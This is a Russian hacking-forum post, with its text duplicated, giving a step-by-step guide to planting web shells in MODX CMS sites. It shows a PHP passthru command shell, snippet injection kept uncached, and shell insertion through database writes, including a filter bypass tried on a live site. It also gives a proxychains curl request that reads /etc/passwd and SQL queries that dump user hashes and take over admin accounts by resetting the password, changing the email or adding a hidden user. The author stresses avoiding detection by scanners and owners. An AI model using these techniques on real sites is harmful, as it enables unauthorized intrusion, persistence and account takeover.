Friend
Professional
- Messages
- 2,653
- Reaction score
- 851
- Points
- 113
Сегодня я решил поделиться с вами своими личными исследованиями по внедрению шеллов в CMS MODX.
Эта CMS не такая популярная и распространённая как Wordpress или Joomla. Просто она не такая дружелюбная к пользователю, и «любая домохозяйка» не сможет быстро разобраться как делать сайт, так как здесь свой специфичный подход, основанный на применении чанков. сниппетов и плагинов.
Тем не менее на мо́дэкс написано порядка 3-4% сайтов, что в итоге выливается в довольно приличное количество. Сама CMS больше защищена в сравнении с более популярными системами, и под неё практически нет никакой информации по взлому.
Всё что удалось найти в сети - это старое упоминание команды, которая сейчас не работает, так как всё уже изменилось. Попробуйте например набрать «modx залить шелл» или что-то похожее, и убедитесь сами.
Приступим – заходим на официальный сайт MODX CMS, система управления сайтом, бесплатная система управления сайтом и скачиваем дистрибутив. Быстренько делаем базу и разворачиваем у себя на локалке, например, в каталоге modx. В админке нас встретит единственная главная страница с текстом-рыбой, который сразу удаляем, и пишем что-нибудь покороче, например, Bla-bla-bla.
Допустим мы попали в админку на реальном сайте. Что в первую очередь проверяют? Как правило загрузку файлов. Здесь это не прокатит, по-умолчанию уже встроена защита от враждебных файлов.
Теперь попробуем по-другому, сначала загрузим txt, а потом переименуем. И опять поджидает неудача – переименовать файл тоже не даёт.
Тем не менее возможность заливки шелла есть. Рассмотрим несколько способов.
1 Способ – самый простой.
Отредактировать уже существующие php-файлы. Возьмём config.core.php во вкладке «Файлы», и добавим в конец простенький шелл. Всё успешно сохранилось.
Проверяем работоспособность, всё работает.
Точно такую же операцию можно сделать и вторым способом. Зайти медиа --> управление медиа --> редактировать config.core.php вставляем echo passthru($_POST['cmd']); --> сохраняем
Всё бы хорошо, но на реальном сайте эти изи-способы часто будут недоступны. Вы редактируете файл, потираете руки и… а где же кнопка сохранить? А нету )))
2 Способ – создание сниппета.
Можно как создать новый сниппет, так и отредактировать уже любой имеющийся. Во вкладке Элементы нажимает значок с плюсиком возле сниппета, появится окно, в котором мы напишем произвольное название сниппета, в теле его разместим шелл и сохраним.
После сохранения мы увидим новый сниппет в списке.
Сам по себе сниппет ничего не даёт – это заготовка с любым кодом, которую можно вставлять в любую страницу, что мы сейчас и сделаем. Чтобы вставить сниппет в страницу, используется команда с двойными квадратными скобками, в которые заключается название сниппета [[hello]].
Но для наших целей это не подходящий вариант, так как модэкс всё и вся кэширует, а значит команда сработает всего 1 раз. Чтобы принудительно отключить кэширование, нужно добавить в начало восклицательный знак [[!hello]].
Заходим в ресурсы, вставляем в главную страницу наш код и сохраняем.
Проверяем, и убеждаемся что всё сработало.
Вот и чудненько! Способ работает всегда, однако есть и минус – новый сниппет будет виден в админке. Правда есть довольно много сайтов, которые весьма редко обновляются, но тут уж как повезёт. Поэтому заполучив шелл, нужно подстраховаться и залить уже другие шеллы на сервер в директории доступные для записи.
Есть и преимущество у данного вида шелла через сниппет – он не существует в виде файла, поэтому на сервере его просто нет. Поэтому никакие сканеры/антивирусы его обнаружить не могут. А куда же он девается? Так в базу же ) Сниппеты хранятся в базе, а значит у нас есть ещё один способ получить шелл.
3 Способ – заливаемся через базу.
Прекрасный способ залить шелл, если нету доступа к админке, но есть доступ к базе. Доступ к базе может быть получен разными путями – захват SSH, PhpMyAdmin, найденный чужой шелл и т.д. К слову говоря, модэкс создаёт хэш паролей по собственному алгоритму, и в онлайн-сервисах значения таких хэшей подобрать не получится.
Этот способ возможен не всегда. Если у юзера базы права будут только на SELECT, то запись будет невозможна.
Здесь совсем не так просто, нужно хорошо знать и конкретный столбец, и с какими параметрами это всё лить. Но у меня уже всё исследовано, поэтому отсыплю вам привата )
Кстати заливка в базу просто прекрасно пройдёт, в то время как даже с правами root базы в большинстве случаев не получится записать файл напрямую на сервер.
Последовательность будет точно такая же – сначала нужно создать сниппет. Отправляем команду:

Обратите внимание – если мы набирает имя сниппета которое уже существует, то получим ошибку, так как сниппет не перезапишется. Ну что же, сниппет успешно создан, теперь его нужно внедрить в страницу. Пишем новую команду и отправляем:

Просто отлично – всё фурычит, создалась новая страничка Шляпа с id 20, соответственно id нужно указывать такой, какого нет на сайте. В противном случае, словите ошибку.
Но ведь создать новую страницу довольно палевно, разумнее добавить сниппет в уже существующую. И этот вопрос довольно просто решается через обновление данных в базе. Обновляем контент.. вуаля! В главной уже наш сниппет [[!hello2]].
После тренировки на локалке, проворачиваем те же самые манипуляции на боевом сайте, и посмотрим как пойдёт. На реальном сайте отработала защита, и первый запрос получил по рогам ))) Ну не беда, обойдём фильтр, используя обратный слэш.
А вот с таким запросом всё гут!
Соответственно следующим запросом наш сниппет page3 внедряем с нужную страницу. Немного привата я оставлю за кадром – как залить шелл в любую конкретную страницу, а также как массово лить сразу во много страниц. Для пытливых умов, которые без проблем орудуют с запросами MySQL, уже разобраться не составит никакого труда по практически готовой схеме.
Заливаться нужно в ту страницу, в которую много лет может никто не залазить. Ну вы знаете такие страницы, которые не обновляют даже на больших бордах, типа “О нас”, “Кто мы?” и т.п. Проверяю работоспособность, отправляю запрос proxychains4 curl -d "a=cat /etc/passwd" -X POST https://bla-bla-bla
И в теле HTML обнаруживаем нужный ответ с сервера:
Добавлю ещё пару фишек.
Если у нас есть доступ к БД, то мы можем получить и доступ к админке.
Вариант 1 - заменить пароль админа )
Посмотрим как разузнать всю информацию. Для начала отправим запрос в базу:
Code:
select column_name from information_schema.columns where table_name='modx_users';
Здесь мы видим, что "правильные" поля имеют названия username и password. Ещё присутствует поле hash_class. Давайте-ка сюда и заглянем, отправив следующий запрос:
Code:
select CONCAT_WS(0x3a,username,password,hash_class) from modx_users;

Ага, используется свой вариант хэширования по-умолчанию. Нам это не подойдёт, поэтому будем применять MD5. Отправляем следующий запрос в базу, в котором укажем нужный формат хэша и имя админа:
Code:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('mainpass') WHERE username = 'admin2';
Заглянем снова в базу, select CONCAT_WS(0x3a,username,password) from modx_users;
Видим, что наш пароль mainpass записался в формате MD5, заменив предыдущее значение.
Теперь проверим, всё ли прошло как надо, логинимся.
Всё чётко! )
Вариант 2 - заменить емайл админа )
По-умолчанию id админа это 1. Заглянем в базу select email from modx_user_attributes WHERE id=1;
Ну и теперь заменим его на наш ) UPDATE modx_user_attributes SET email='blabla@mail.ru' WHERE id=1;

Всё, теперь на странице авторизации нужно выполнить стандартные действия по восстановлению и всё придёт на наш почтовый ящик )
Предыдущие 2 варианта захвата админки совсем неэтичные, поэтому нужно пользоваться самым правильным способом.
Вариант 3 - создать нового пользователя )
Здесь всё немного сложнее, но оно того стоит. Новый пользователь не испортит доступ в админку, и к тому же не так палевно, как если бы админ не смог попасть в админпанель.
Сначала мы отправим запрос на добавления пользователя dodik7, при этом пароль нужно писать сразу в хэшированном виде, здесь он 12345.
Но на этом наши действия не заканчиваются, аккаунт создан, но он ещё нерабочий. Далее нужно выяснить последний номер internalKey.
Отправим запрос select internalKey from modx_user_attributes;
Мы видим, что последний номер 14, соответственно нам нужно установить в запросе номер 15. Отправим следующий запрос
Теперь нужно сразу же проверить, появился ли наш номер 15
Всё отлично, теперь можно смело заходить в админку с логином dodik7 и паролем 12345 )
Hacked!
Ну что же друзья, вот вы и получили единственное в сети руководство по внедрению шеллов в MODX.
На этом всё, всем пока!

Эта CMS не такая популярная и распространённая как Wordpress или Joomla. Просто она не такая дружелюбная к пользователю, и «любая домохозяйка» не сможет быстро разобраться как делать сайт, так как здесь свой специфичный подход, основанный на применении чанков. сниппетов и плагинов.
Тем не менее на мо́дэкс написано порядка 3-4% сайтов, что в итоге выливается в довольно приличное количество. Сама CMS больше защищена в сравнении с более популярными системами, и под неё практически нет никакой информации по взлому.
Всё что удалось найти в сети - это старое упоминание команды, которая сейчас не работает, так как всё уже изменилось. Попробуйте например набрать «modx залить шелл» или что-то похожее, и убедитесь сами.
Приступим – заходим на официальный сайт MODX CMS, система управления сайтом, бесплатная система управления сайтом и скачиваем дистрибутив. Быстренько делаем базу и разворачиваем у себя на локалке, например, в каталоге modx. В админке нас встретит единственная главная страница с текстом-рыбой, который сразу удаляем, и пишем что-нибудь покороче, например, Bla-bla-bla.

Допустим мы попали в админку на реальном сайте. Что в первую очередь проверяют? Как правило загрузку файлов. Здесь это не прокатит, по-умолчанию уже встроена защита от враждебных файлов.

Теперь попробуем по-другому, сначала загрузим txt, а потом переименуем. И опять поджидает неудача – переименовать файл тоже не даёт.

Тем не менее возможность заливки шелла есть. Рассмотрим несколько способов.
1 Способ – самый простой.
Отредактировать уже существующие php-файлы. Возьмём config.core.php во вкладке «Файлы», и добавим в конец простенький шелл. Всё успешно сохранилось.

Проверяем работоспособность, всё работает.

Точно такую же операцию можно сделать и вторым способом. Зайти медиа --> управление медиа --> редактировать config.core.php вставляем echo passthru($_POST['cmd']); --> сохраняем

Всё бы хорошо, но на реальном сайте эти изи-способы часто будут недоступны. Вы редактируете файл, потираете руки и… а где же кнопка сохранить? А нету )))
2 Способ – создание сниппета.
Можно как создать новый сниппет, так и отредактировать уже любой имеющийся. Во вкладке Элементы нажимает значок с плюсиком возле сниппета, появится окно, в котором мы напишем произвольное название сниппета, в теле его разместим шелл и сохраним.

После сохранения мы увидим новый сниппет в списке.

Сам по себе сниппет ничего не даёт – это заготовка с любым кодом, которую можно вставлять в любую страницу, что мы сейчас и сделаем. Чтобы вставить сниппет в страницу, используется команда с двойными квадратными скобками, в которые заключается название сниппета [[hello]].
Но для наших целей это не подходящий вариант, так как модэкс всё и вся кэширует, а значит команда сработает всего 1 раз. Чтобы принудительно отключить кэширование, нужно добавить в начало восклицательный знак [[!hello]].
Заходим в ресурсы, вставляем в главную страницу наш код и сохраняем.

Проверяем, и убеждаемся что всё сработало.

Вот и чудненько! Способ работает всегда, однако есть и минус – новый сниппет будет виден в админке. Правда есть довольно много сайтов, которые весьма редко обновляются, но тут уж как повезёт. Поэтому заполучив шелл, нужно подстраховаться и залить уже другие шеллы на сервер в директории доступные для записи.
Есть и преимущество у данного вида шелла через сниппет – он не существует в виде файла, поэтому на сервере его просто нет. Поэтому никакие сканеры/антивирусы его обнаружить не могут. А куда же он девается? Так в базу же ) Сниппеты хранятся в базе, а значит у нас есть ещё один способ получить шелл.
3 Способ – заливаемся через базу.
Прекрасный способ залить шелл, если нету доступа к админке, но есть доступ к базе. Доступ к базе может быть получен разными путями – захват SSH, PhpMyAdmin, найденный чужой шелл и т.д. К слову говоря, модэкс создаёт хэш паролей по собственному алгоритму, и в онлайн-сервисах значения таких хэшей подобрать не получится.
Этот способ возможен не всегда. Если у юзера базы права будут только на SELECT, то запись будет невозможна.
Здесь совсем не так просто, нужно хорошо знать и конкретный столбец, и с какими параметрами это всё лить. Но у меня уже всё исследовано, поэтому отсыплю вам привата )
Кстати заливка в базу просто прекрасно пройдёт, в то время как даже с правами root базы в большинстве случаев не получится записать файл напрямую на сервер.
Последовательность будет точно такая же – сначала нужно создать сниппет. Отправляем команду:

Обратите внимание – если мы набирает имя сниппета которое уже существует, то получим ошибку, так как сниппет не перезапишется. Ну что же, сниппет успешно создан, теперь его нужно внедрить в страницу. Пишем новую команду и отправляем:

Просто отлично – всё фурычит, создалась новая страничка Шляпа с id 20, соответственно id нужно указывать такой, какого нет на сайте. В противном случае, словите ошибку.
Но ведь создать новую страницу довольно палевно, разумнее добавить сниппет в уже существующую. И этот вопрос довольно просто решается через обновление данных в базе. Обновляем контент.. вуаля! В главной уже наш сниппет [[!hello2]].

После тренировки на локалке, проворачиваем те же самые манипуляции на боевом сайте, и посмотрим как пойдёт. На реальном сайте отработала защита, и первый запрос получил по рогам ))) Ну не беда, обойдём фильтр, используя обратный слэш.
А вот с таким запросом всё гут!

Соответственно следующим запросом наш сниппет page3 внедряем с нужную страницу. Немного привата я оставлю за кадром – как залить шелл в любую конкретную страницу, а также как массово лить сразу во много страниц. Для пытливых умов, которые без проблем орудуют с запросами MySQL, уже разобраться не составит никакого труда по практически готовой схеме.
Заливаться нужно в ту страницу, в которую много лет может никто не залазить. Ну вы знаете такие страницы, которые не обновляют даже на больших бордах, типа “О нас”, “Кто мы?” и т.п. Проверяю работоспособность, отправляю запрос proxychains4 curl -d "a=cat /etc/passwd" -X POST https://bla-bla-bla
И в теле HTML обнаруживаем нужный ответ с сервера:

Добавлю ещё пару фишек.
Если у нас есть доступ к БД, то мы можем получить и доступ к админке.
Вариант 1 - заменить пароль админа )
Посмотрим как разузнать всю информацию. Для начала отправим запрос в базу:
Code:
select column_name from information_schema.columns where table_name='modx_users';

Здесь мы видим, что "правильные" поля имеют названия username и password. Ещё присутствует поле hash_class. Давайте-ка сюда и заглянем, отправив следующий запрос:
Code:
select CONCAT_WS(0x3a,username,password,hash_class) from modx_users;

Ага, используется свой вариант хэширования по-умолчанию. Нам это не подойдёт, поэтому будем применять MD5. Отправляем следующий запрос в базу, в котором укажем нужный формат хэша и имя админа:
Code:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('mainpass') WHERE username = 'admin2';
Заглянем снова в базу, select CONCAT_WS(0x3a,username,password) from modx_users;

Видим, что наш пароль mainpass записался в формате MD5, заменив предыдущее значение.
Теперь проверим, всё ли прошло как надо, логинимся.

Всё чётко! )

Вариант 2 - заменить емайл админа )
По-умолчанию id админа это 1. Заглянем в базу select email from modx_user_attributes WHERE id=1;

Ну и теперь заменим его на наш ) UPDATE modx_user_attributes SET email='blabla@mail.ru' WHERE id=1;

Всё, теперь на странице авторизации нужно выполнить стандартные действия по восстановлению и всё придёт на наш почтовый ящик )

Предыдущие 2 варианта захвата админки совсем неэтичные, поэтому нужно пользоваться самым правильным способом.
Вариант 3 - создать нового пользователя )
Здесь всё немного сложнее, но оно того стоит. Новый пользователь не испортит доступ в админку, и к тому же не так палевно, как если бы админ не смог попасть в админпанель.
Сначала мы отправим запрос на добавления пользователя dodik7, при этом пароль нужно писать сразу в хэшированном виде, здесь он 12345.

Но на этом наши действия не заканчиваются, аккаунт создан, но он ещё нерабочий. Далее нужно выяснить последний номер internalKey.
Отправим запрос select internalKey from modx_user_attributes;

Мы видим, что последний номер 14, соответственно нам нужно установить в запросе номер 15. Отправим следующий запрос

Теперь нужно сразу же проверить, появился ли наш номер 15

Всё отлично, теперь можно смело заходить в админку с логином dodik7 и паролем 12345 )
Hacked!
Ну что же друзья, вот вы и получили единственное в сети руководство по внедрению шеллов в MODX.
На этом всё, всем пока!